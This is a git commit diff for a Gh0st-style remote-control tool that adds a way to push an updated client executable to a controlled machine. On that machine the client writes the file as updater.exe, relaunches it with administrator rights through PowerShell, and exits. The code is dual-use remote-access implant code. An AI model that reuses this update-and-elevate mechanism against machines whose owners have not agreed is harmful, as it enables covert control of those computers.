Improve: Add client update logic for client type EXE

This commit is contained in:
yuanyuanxiang
2026-01-20 22:03:34 +01:00
parent 51c0658e18
commit 2fb77d512b
14 changed files with 242 additions and 11 deletions

View File

@@ -265,6 +265,11 @@ int main(int argc, const char *argv[])
SAFE_CLOSE_HANDLE(hMutex);
Mprintf("结束运行.\n");
Sleep(500);
if (isService) {
Mprintf("CALL ServiceWrapper_Stop.\n");
int r = ServiceWrapper_Stop();
}
Logger::getInstance().stop();
return 0;

View File

@@ -949,6 +949,25 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
}
Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile);
} else if(typ == CLIENT_TYPE_ONE){
ULONGLONG size = 0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
const char* name = "updater.exe";
char curFile[_MAX_PATH] = {};
GetModuleFileName(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, name);
DeleteFileA(curFile);
if (!WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size, name)) {
Mprintf("CKernelManager: Write \"%s\" failed.\n", curFile);
break;
}
if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) {
g_bExit = S_CLIENT_UPDATE;
Mprintf("CKernelManager: [%s] Will be executed.\n", curFile);
Sleep(1000);
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
}
Mprintf("CKernelManager: [%s] Execute FAILED.\n", curFile);
} else {
Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ);
}

View File

@@ -315,6 +315,67 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
return ERROR_SUCCESS;
}
int ServiceWrapper_Stop(void)
{
// 打开SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务
SC_HANDLE hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
int err = (int)GetLastError();
CloseServiceHandle(hSCM);
return err;
}
// 查询当前状态
SERVICE_STATUS status;
if (!QueryServiceStatus(hService, &status)) {
int err = (int)GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return err;
}
// 如果服务未运行,直接返回成功
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return ERROR_SUCCESS;
}
// 发送停止控制命令
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return (int)err;
}
}
// 等待服务停止最多3秒
int waitCount = 0;
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 3) {
Sleep(1000);
waitCount++;
if (!QueryServiceStatus(hService, &status)) {
break;
}
}
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return result;
}
BOOL ServiceWrapper_Install(void)
{
SC_HANDLE schSCManager;

View File

@@ -62,6 +62,9 @@ int ServiceWrapper_StartSimple(void);
// 返回: ERROR_SUCCESS 或错误码
int ServiceWrapper_Run(void);
// 停止服务 0- 成功,其他值-错误码
int ServiceWrapper_Stop(void);
// 安装服务
BOOL ServiceWrapper_Install(void);

View File

@@ -319,7 +319,11 @@ int main(int argc, const char *argv[])
status = 0;
Mprintf("结束运行.\n");
Sleep(1000);
Sleep(500);
if (isService) {
Mprintf("CALL ServiceWrapper_Stop.\n");
int r = ServiceWrapper_Stop();
}
Logger::getInstance().stop();
return 0;

View File

@@ -514,14 +514,14 @@ int CMy2015RemoteApp::ExitInstance()
SAFE_DELETE(m_iniFile);
Mprintf("[InitInstance] 主控程序退出运行。\n");
Sleep(500);
// 只有在代理模式退出时才停止服务
if (IsAgentMode()) {
ServerService_Stop();
Mprintf("[InitInstance] 主控程序为代理模式,停止服务。\n");
ServerService_Stop();
}
Mprintf("[InitInstance] 主控程序退出运行。\n");
Sleep(1000);
return CWinApp::ExitInstance();
}

Binary file not shown.

View File

@@ -48,6 +48,7 @@
#include <ServerServiceWrapper.h>
#include "CDlgFileSend.h"
#include "CClientListDlg.h"
#include "CUpdateDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -1781,17 +1782,72 @@ void CMy2015RemoteDlg::OnOnlineMessage()
void CMy2015RemoteDlg::OnOnlineUpdate()
{
context* ContextObject = nullptr;
EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetSelectedCount();
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
if (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
ContextObject = (context*)m_CList_Online.GetItemData(iItem);
}
LeaveCriticalSection(&m_cs);
if (n != 1 || !ContextObject) {
MessageBox(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING);
return;
}
if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
_T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
PBYTE buffer = nullptr;
ULONGLONG fileSize = 0;
CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString();
if (clientType == "EXE") {
CUpdateDlg dlg(this);
if (dlg.DoModal() != IDOK)
return;
DWORD dwFileSize = 0;
BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
std::string stem = path.stem().string();
std::string dirName = path.parent_path().filename().string();
BYTE* szBuffer = ReadResource(dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) :
(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize);
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN };
int iOffset = MemoryFind((char*)szBuffer, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
if (iOffset == -1) {
SAFE_DELETE(szBuffer);
return;
}
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(szBuffer + iOffset);
dst->SetAdminId(GetMasterHash().c_str());
memcpy(dst->szFlag, GetMasterId().c_str(), 16);
strcpy_s(dst->szServerIP, THIS_CFG.GetStr("settings", "master", "127.0.0.1").c_str());
strcpy_s(dst->szPort, THIS_CFG.GetStr("settings", "port", "6543").c_str());
dst->Encrypt();
dst->iType = dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL;
dst->iStartup = dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc;
strcpy_s(dst->szBuildDate, DLL_VERSION);
memcpy(dst->pwdHash, GetPwdHash().c_str(), 64);
strcpy_s(dst->installDir, dirName.c_str());
strcpy_s(dst->installName, stem.c_str());
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
ULONGLONG fileSize = buf->length(true) - 6;
PBYTE buffer = new BYTE[fileSize + 9];
if (buffer) {
fileSize = dwFileSize;
buffer = new BYTE[fileSize + 9];
buffer[0] = COMMAND_UPDATE;
memcpy(buffer + 1, &fileSize, 8);
memcpy(buffer + 9, szBuffer, fileSize);
SAFE_DELETE_ARRAY(szBuffer);
}
else if (clientType == "DLL") {
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
fileSize = buf->length(true) - 6;
buffer = new BYTE[fileSize + 9];
buffer[0] = COMMAND_UPDATE;
memcpy(buffer + 1, &fileSize, 8);
memcpy(buffer + 9, buf->c_str() + 6, fileSize);
}
if (buffer) {
SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
delete[] buffer;
}

View File

@@ -291,6 +291,7 @@
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="CUpdateDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
@@ -384,6 +385,7 @@
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CUpdateDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />

View File

@@ -65,6 +65,7 @@
<ClCompile Include="..\..\common\file_upload.cpp" />
<ClCompile Include="..\..\client\reg_startup.c" />
<ClCompile Include="CClientListDlg.cpp" />
<ClCompile Include="CUpdateDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -144,6 +145,7 @@
<ClInclude Include="HostInfo.h" />
<ClInclude Include="CClientListDlg.h" />
<ClInclude Include="context.h" />
<ClInclude Include="CUpdateDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -499,7 +499,7 @@ void CBuildDlg::OnBnClickedOk()
if (m_sDownloadUrl.IsEmpty()) MessageBox(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示");
}
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
checked ? "\r\n提示: 载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) {

View File

@@ -0,0 +1,48 @@
// CUpdateDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "afxdialogex.h"
#include "CUpdateDlg.h"
#include "resource.h"
// CUpdateDlg 对话框
IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx)
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_UPDATE, pParent)
, m_nSelected(0)
{
}
CUpdateDlg::~CUpdateDlg()
{
}
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect);
DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected);
}
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialogEx)
END_MESSAGE_MAP()
// CUpdateDlg 消息处理程序
BOOL CUpdateDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// TODO: 在此添加额外的初始化
m_ComboUpdateSelect.InsertString(0, _T("TestRun"));
m_ComboUpdateSelect.InsertString(1, _T("Ghost"));
m_ComboUpdateSelect.SetCurSel(1);
return TRUE;
}

View File

@@ -0,0 +1,28 @@
#pragma once
#include "afxdialogex.h"
// CUpdateDlg 对话框
class CUpdateDlg : public CDialogEx
{
DECLARE_DYNAMIC(CUpdateDlg)
public:
CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CUpdateDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_UPDATE };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CComboBox m_ComboUpdateSelect;
virtual BOOL OnInitDialog();
int m_nSelected;
};

View File

@@ -198,6 +198,8 @@
#define IDR_SCLOADER_X86_OLD 322
#define IDR_SCLOADER_X64_OLD 323
#define IDD_DIALOG_CLIENTLIST 324
#define IDD_DIALOG7 326
#define IDD_DIALOG_UPDATE 326
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -402,6 +404,7 @@
#define IDC_COMBO_VIDEO_WALL 2195
#define IDC_COMBO_BINDING 2195
#define IDC_COMBO_BIND 2195
#define IDC_COMBO_UPDATE_SELECT 2195
#define IDC_EDIT_WALLET_BTC 2196
#define IDC_EDIT_WALLET_ERC20 2197
#define IDC_EDIT_EXE_FILE 2197
@@ -643,7 +646,7 @@
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 326
#define _APS_NEXT_RESOURCE_VALUE 328
#define _APS_NEXT_COMMAND_VALUE 33007
#define _APS_NEXT_CONTROL_VALUE 2228
#define _APS_NEXT_SYMED_VALUE 105